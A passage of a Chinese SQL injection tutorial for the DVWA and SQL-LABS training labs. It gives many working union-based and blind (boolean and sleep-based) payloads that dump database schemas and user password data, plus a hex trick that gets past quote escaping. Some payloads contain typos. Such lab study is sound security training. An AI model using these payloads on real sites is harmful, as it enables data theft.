(由于是數(shù)字型注入,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了,因?yàn)閿?shù)字型注入并不需要借助引號(hào)。)
2.猜解SQL查詢語(yǔ)句中的字段數(shù)
抓包更改參數(shù)id為1 order by 2 #,查詢成功:

抓包更改參數(shù)id為1 order by 3 #,報(bào)錯(cuò):

說(shuō)明執(zhí)行的SQL查詢語(yǔ)句中只有兩個(gè)字段,即這里的First name、Surname。
3.確定顯示的字段順序
抓包更改參數(shù)id為1 union select 1,2 #,查詢成功:

說(shuō)明執(zhí)行的SQL語(yǔ)句為select First name,Surname from 表 where ID=id…
4.獲取當(dāng)前數(shù)據(jù)庫(kù)
抓包更改參數(shù)id為1 union select 1,database() #,查詢成功:

說(shuō)明當(dāng)前的數(shù)據(jù)庫(kù)為dvwa。
5.獲取數(shù)據(jù)庫(kù)中的表
抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查詢成功:

說(shuō)明數(shù)據(jù)庫(kù)dvwa中一共有兩個(gè)表,guestbook與users。
6.獲取表中的字段名
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #,查詢失?。?/code>

這是因?yàn)閱我?hào)被轉(zhuǎn)義了,變成了\'??梢岳?6進(jìn)制進(jìn)行繞過(guò) ''
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查詢成功:

說(shuō)明users表中有8個(gè)字段,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)。
High

分析:
與Medium級(jí)別的代碼相比,High級(jí)別的只是在SQL查詢語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉。由于手工注入的過(guò)程與Low級(jí)別基本一樣,直接最后一步演示下載數(shù)據(jù)。
輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查詢成功:

特別注意:High級(jí)別的查詢提交頁(yè)面與查詢結(jié)果顯示頁(yè)面不是同一個(gè),也沒(méi)有執(zhí)行302跳轉(zhuǎn),這樣做的目的是為了防止一般的sqlmap注入,因?yàn)閟qlmap在注入過(guò)程中,無(wú)法在查詢提交頁(yè)面上獲取查詢的結(jié)果,沒(méi)有了反饋,也就沒(méi)辦法進(jìn)一步注入。
SQL-Injection(Blind)
SQL盲注,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁(yè)面上看到注入語(yǔ)句的執(zhí)行結(jié)果,而盲注時(shí)攻擊者通常是無(wú)法從顯示頁(yè)面上獲取執(zhí)行結(jié)果,甚至連注入語(yǔ)句是否執(zhí)行都無(wú)從得知,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注。
盲注中常用的幾個(gè)函數(shù):
substr(a,b,c):從b位置開始,截取字符串a(chǎn)的c長(zhǎng)度
count():計(jì)算總數(shù)
ascii():返回字符的ascii碼
length():返回字符串的長(zhǎng)度 left(a,b):從左往右截取字符串a(chǎn)的前b個(gè)字符
sleep(n):將程序掛起n秒
手工盲注思路
手工盲注的過(guò)程,就像你與一個(gè)機(jī)器人聊天,這個(gè)機(jī)器人知道的很多,但只會(huì)回答“是”或者“不是”,因此你需要詢問(wèn)它這樣的問(wèn)題,例如“數(shù)據(jù)庫(kù)名字的第一個(gè)字母是不是a?。俊?,通過(guò)這種機(jī)械的詢問(wèn),最終獲得你想要的數(shù)據(jù)。
盲注分為基于布爾的盲注、基于時(shí)間的盲注以及基于報(bào)錯(cuò)的盲注,這里只演示基于布爾的盲注與基于時(shí)間的盲注。
下面簡(jiǎn)要介紹手工盲注的步驟(可與之前的手工注入作比較):
1.判斷是否存在注入,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
3.猜解數(shù)據(jù)庫(kù)中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
Low

分析:
Low級(jí)別的代碼對(duì)參數(shù)id沒(méi)有做任何檢查、過(guò)濾,存在明顯的SQL注入漏洞,同時(shí)SQL語(yǔ)句查詢返回的結(jié)果只有兩種:
User ID exists in the database.‘與‘ User ID is MISSING from the database.
因此這里是SQL盲注漏洞。
漏洞利用
基于布爾的盲注:
1.判斷是否存在注入,注入是字符型還是數(shù)字型
當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。字符型和數(shù)字型最大的一個(gè)區(qū)別在于,數(shù)字型不需要單引號(hào)來(lái)閉合,而字符串一般需要通過(guò)單引號(hào)來(lái)閉合的。
輸入1,顯示相應(yīng)用戶存在:

輸入1’ and 1=1 #,顯示存在:

輸入1’ and 1=2 #,顯示不存在:

2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
想要猜解數(shù)據(jù)庫(kù)名,首先要猜解數(shù)據(jù)庫(kù)名的長(zhǎng)度,然后挨個(gè)猜解字符。
輸入1’ and length(database())=1 #,顯示不存在;
輸入1’ and length(database())=2 #,顯示不存在;
輸入1’ and length(database())=3 #,顯示不存在;
輸入1’ and length(database())=4 #,顯示存在:
說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4。
下面采用二分法猜解數(shù)據(jù)庫(kù)名。
輸入1' and ascii(substr(databse(),1,1))>97 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值大于97(小寫字母a的ascii值);
輸入1' and ascii(substr(databse(),1,1))<122 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于122(小寫字母z的ascii值);
輸入1' and ascii(substr(databse(),1,1))<109 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于109(小寫字母m的ascii值);
輸入1' and ascii(substr(databse(),1,1))<103 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值小于103(小寫字母g的ascii值);
輸入1' and ascii(substr(databse(),1,1))<100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不小于100(小寫字母d的ascii值);
輸入1' and ascii(substr(databse(),1,1))>100 #,顯示不存在,說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值不大于100(小寫字母d的ascii值),所以數(shù)據(jù)庫(kù)名的第一個(gè)字符的ascii值為100,即小寫字母d。
…
重復(fù)上述步驟,就可以猜解出完整的數(shù)據(jù)庫(kù)名(dvwa)了。
3.猜解數(shù)據(jù)庫(kù)中的表名
首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:
1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 顯示不存在
1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 顯示存在
說(shuō)明數(shù)據(jù)庫(kù)中共有兩個(gè)表。
接著挨個(gè)猜解表名:
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 顯示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 顯示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 顯示存在
說(shuō)明第一個(gè)表名長(zhǎng)度為9。
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 顯示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 顯示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=data'ase() limit 0,1),1,1))>103 # 顯示不存在
說(shuō)明第一個(gè)表的名字的第一個(gè)字符為小寫字母g。
重復(fù)上述步驟,即可猜解出兩個(gè)表名(guestbook、users)。
4.猜解表中的字段名
首先猜解表中字段的數(shù)量:
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 顯示不存在
...
1' and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 顯示存在
說(shuō)明users表有8個(gè)字段。
接著挨個(gè)猜解字段名:
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 顯示不存在
…
1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 顯示存在
說(shuō)明users表的第一個(gè)字段為7個(gè)字符長(zhǎng)度。
采用二分法,即可猜解出所有字段名。
5.猜解數(shù)據(jù)
同樣采用二分法。
基于時(shí)間的盲注:
1.判斷是否存在注入,注入是字符型還是數(shù)字型
輸入1' and sleep(5) #,感覺(jué)到明顯延遲;
輸入1 and sleep(5) #,沒(méi)有延遲;
說(shuō)明存在字符型的基于時(shí)間的盲注。
2.猜解當(dāng)前數(shù)據(jù)庫(kù)名
首先猜解數(shù)據(jù)名的長(zhǎng)度:
1' and if(length(database())=1,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=2,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=3,sleep(5),1) # 沒(méi)有延遲 1' and if(length(database())=4,sleep(5),1) # 明顯延遲
說(shuō)明數(shù)據(jù)庫(kù)名長(zhǎng)度為4個(gè)字符。
接著采用二分法猜解數(shù)據(jù)庫(kù)名:
1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明顯延遲 … 1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 沒(méi)有延遲 1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 沒(méi)有延遲 說(shuō)明數(shù)據(jù)庫(kù)名的第一個(gè)字符為小寫字母d。
…
重復(fù)上述步驟,即可猜解出數(shù)據(jù)庫(kù)名。
3.猜解數(shù)據(jù)庫(kù)中的表名
首先猜解數(shù)據(jù)庫(kù)中表的數(shù)量:
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 沒(méi)有延遲
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明顯延遲
說(shuō)明數(shù)據(jù)庫(kù)中有兩個(gè)表。
接著挨個(gè)猜解表名:
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
…
1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明顯延遲
說(shuō)明第一個(gè)表名的長(zhǎng)度為9個(gè)字符。
采用二分法即可猜解出表名。
4.猜解表中的字段名
首先猜解表中字段的數(shù)量:
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 沒(méi)有延遲
…
1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明顯延遲
說(shuō)明users表中有8個(gè)字段。
接著挨個(gè)猜解字段名:
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 沒(méi)有延遲
…
1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明顯延遲
說(shuō)明users表的第一個(gè)字段長(zhǎng)度為7個(gè)字符。
采用二分法即可猜解出各個(gè)字段名。
5.猜解數(shù)據(jù)
同樣采用二分法。
Medium

分析:
Medium級(jí)別的代碼利用mysql_real_escape_string函數(shù)對(duì)特殊符號(hào)
\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時(shí)前端頁(yè)面設(shè)置了下拉選擇表單,希望以此來(lái)控制用戶的輸入。
漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過(guò)抓包改參數(shù)id,提交惡意構(gòu)造的查詢參數(shù)。
上文有詳細(xì)的盲注流程,這里就簡(jiǎn)要演示幾個(gè)。
首先是基于布爾的盲注:
抓包改參數(shù)id為1 and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包改參數(shù)id為1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包改參數(shù)id為1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。
然后是基于時(shí)間的盲注:
抓包改參數(shù)id為1 and if(length(database())=4,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包改參數(shù)id為1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明顯延遲,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包改參數(shù)id為1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明顯延遲,說(shuō)明uers表有8個(gè)字段。
High

分析:
High級(jí)別的代碼利用cookie傳遞參數(shù)id,當(dāng)SQL查詢結(jié)果為空時(shí),會(huì)執(zhí)行函數(shù)sleep(seconds),目的是為了擾亂基于時(shí)間的盲注。同時(shí)在 SQL查詢語(yǔ)句中添加了LIMIT 1,希望以此控制只輸出一個(gè)結(jié)果。
漏洞利用
雖然添加了LIMIT 1,但是我們可以通過(guò)#將其注釋掉。但由于服務(wù)器端執(zhí)行sleep函數(shù),會(huì)使得基于時(shí)間盲注的準(zhǔn)確性受到影響,這里我們只演示基于布爾的盲注:
抓包將cookie中參數(shù)id改為1’ and length(database())=4 #,顯示存在,說(shuō)明數(shù)據(jù)庫(kù)名的長(zhǎng)度為4個(gè)字符;
抓包將cookie中參數(shù)id改為1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,顯示存在,說(shuō)明數(shù)據(jù)中的第一個(gè)表名長(zhǎng)度為9個(gè)字符;
抓包將cookie中參數(shù)id改為1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 為users的16進(jìn)制),顯示存在,說(shuō)明uers表有8個(gè)字段。
SQL-LABS
Less-1(GET單引號(hào)字符型注入)
#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù) #不能用#【坑點(diǎn)1】
?id=1' order by 3 --+
?id=1' order by 4 %23
#聯(lián)合查詢查看顯示位 #id要為負(fù)數(shù)【坑點(diǎn)2】
?id=-1' union select 1,2,3 --+
#爆庫(kù)【security】
?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1' union select 1,2,database() --+
#爆表【emails,referers,uagents,users】
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列【...id,username,password...】
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值【DumbDumb...】
?id=-1' union select 1,2,group_concat(username,password) from users --+
坑點(diǎn)1:URL框中的sql語(yǔ)句中不能用直接使用#號(hào),要用--+(等價(jià)于--空格)或者%23,但是輸入框中可以用#,應(yīng)為輸入框提交是會(huì)執(zhí)行一次URL編碼,#會(huì)被編譯成%23
原因是url中#號(hào)是用來(lái)指導(dǎo)瀏覽器動(dòng)作的(例如錨點(diǎn)),對(duì)服務(wù)器端完全無(wú)用。所以,HTTP請(qǐng)求中不包括#
將#號(hào)改成url的編碼%23或者使用--+就可以了
坑點(diǎn)2:在聯(lián)合查詢查看顯示位,使用union聯(lián)合查詢后發(fā)現(xiàn)頁(yè)面返回的數(shù)據(jù)沒(méi)變,這是因?yàn)槿绻筮叺腟QL語(yǔ)句正確執(zhí)行那么就會(huì)只返回左邊第一個(gè)查詢語(yǔ)句的運(yùn)行結(jié)果,那么我們只要讓第一行查詢的結(jié)果是空集(即union左邊的select子句查詢結(jié)果為空),那么我們union右邊的查詢結(jié)果自然就成為了第一行,就打印在網(wǎng)頁(yè)上了。
這個(gè)id傳遞的是數(shù)字,而且一般都是從1開始自增的,我們可以把id值設(shè)為非正數(shù)(負(fù)數(shù)或0),浮點(diǎn)數(shù),字符型或字符串都行,主要是使左邊的查詢語(yǔ)句報(bào)錯(cuò)就行。
Less-2(GET數(shù)字型注入)
#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
#確定字段數(shù)
?id=1 order by 3
?id=1 order by 4
#聯(lián)合查詢查看顯示位
?id=-1 union select 1,2,3
#爆庫(kù)
?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,database()
#爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
#爆列
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
#爆值
?id=-1 union select 1,2,group_concat(username,password) from users
Less-3(GET單引號(hào)變形字符型注入)
#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 3 --+
#報(bào)錯(cuò) for the right syntax to use near 'order by 3 -- ') LIMIT 0,1' at line 1
#由錯(cuò)誤提示可知后臺(tái)查詢語(yǔ)句應(yīng)為select * from * where id = ('$id') LIMIT 0,1
#構(gòu)造?id=1') --+ 進(jìn)行測(cè)試。訪問(wèn)正常,猜測(cè)正確。
#確定字段數(shù)
?id=1') order by 3 --+
?id=1') order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1') union select 1,2,3 --+
#爆庫(kù)
?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1') union select 1,2,database() --+
#爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1') union select 1,group_concat(username),group_concat(password) from users --+
Less-4(GET雙引號(hào)字符型注入)
#查看頁(yè)面變化,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
?id=1' order by 4 --+
?id=1" order by 4 --+
#報(bào)錯(cuò) to use near 'order by 4 -- ") LIMIT 0,1' at line 1
#由錯(cuò)誤提示可知后臺(tái)查詢語(yǔ)句應(yīng)為select * from * where id = ("$id") LIMIT 0,1
#構(gòu)造?id=1") --+ 進(jìn)行測(cè)試。訪問(wèn)正常,猜測(cè)正確。
#確定字段數(shù)
?id=1") order by 3 --+
?id=1") order by 4 --+
#聯(lián)合查詢查看顯示位
?id=-1") union select 1,2,3 --+
#爆庫(kù)
?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
?id=-1") union select 1,2,database() --+
#爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
#爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
#爆值
?id=-1") union select 1,group_concat(username),group_concat(password) from users --+
Less-5(雙注入GET單引號(hào)字符型注入)
一些感悟
我自己我在學(xué)習(xí)Web安全的過(guò)程中,也是倍感枯燥,總想急于求成,想要簡(jiǎn)單學(xué)一哈就能實(shí)現(xiàn)各種????操作,顯然不是那么容易的,所以請(qǐng)靜下心來(lái)鉆研吧,慢慢來(lái),比較快!